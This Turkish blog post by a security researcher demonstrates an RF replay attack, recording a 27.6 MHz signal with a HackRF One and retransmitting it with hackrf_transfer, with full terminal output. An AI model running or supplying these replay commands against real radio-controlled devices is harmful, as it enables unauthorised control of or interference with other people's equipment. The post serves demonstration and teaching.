TR | HackRF ile RF Saldırıları

Merhabalar bu yazıda sizlere hackrf cihazı ile RF iletişimini etkilemenin ne kadar kolay olabileceğini göstermeye çalışacağım.

Başlamadan önce buraya bir kaç faydalı bağlantı bırakıyorum:

Başlamadan önce sahip olduğumuz cihaz hakkında bilgi almak için

besim@Hacker:~$ hackrf_info 
hackrf_info version: git-9xxxxxxxxx65*
libhackrf version: git-97d3e65* (0.5)
Found HackRF
Index: 0
Serial number: 0000000000000000a06063xxxxxxxxx
Board ID Number: 2 (HackRF One)
Firmware Version: 2017.02.1 (API:1.02)
Part ID Number: 0xaxxxxxb3c 0x0xxxxx5c

Bazı temel bilgiler:

  • -f: Dinlemek istediğimiz frekans
  • -r: Dinledğimiz RF iletişimini kayıt etmek için.
  • -t:Kayıt ettiğimiz RF iletişimini tekrarlamak için.

İlk komut ve çıktısı: (Trafiği yakalamak için)

besim@Hacker:~$ hackrf_transfer -r 27600000.raw -f 27600000
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_hw_sync_mode(0)
call hackrf_set_freq(27600000 Hz/27.600 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.004 sec = 20.1 MiB/second
19.9 MiB / 1.004 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.002 sec = 19.9 MiB/second
^CCaught signal 2
16.5 MiB / 0.824 sec = 20.1 MiB/second

Exiting...
Total time: 7.84509 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

İkinci komut ve çıktısı: (Trafiği tekrarlamak için)

besim@Hacker:~$ hackrf_transfer -t 27600000.raw -f 27600000 -x 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_hw_sync_mode(0)
call hackrf_set_freq(27600000 Hz/27.600 MHz)
Stop with Ctrl-C
19.9 MiB / 1.003 sec = 19.9 MiB/second
19.9 MiB / 1.002 sec = 19.9 MiB/second
20.2 MiB / 1.004 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.002 sec = 20.1 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
16.8 MiB / 1.003 sec = 16.7 MiB/second

Exiting... hackrf_is_streaming() result: streaming terminated (-1004)
Total time: 8.02586 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

 

Tüm bunların sonucunda sizi sonucu gösteren video ile başbaşa bırakıyorum 🙂

 

Besim ALTINOK

Cyber Security Researcher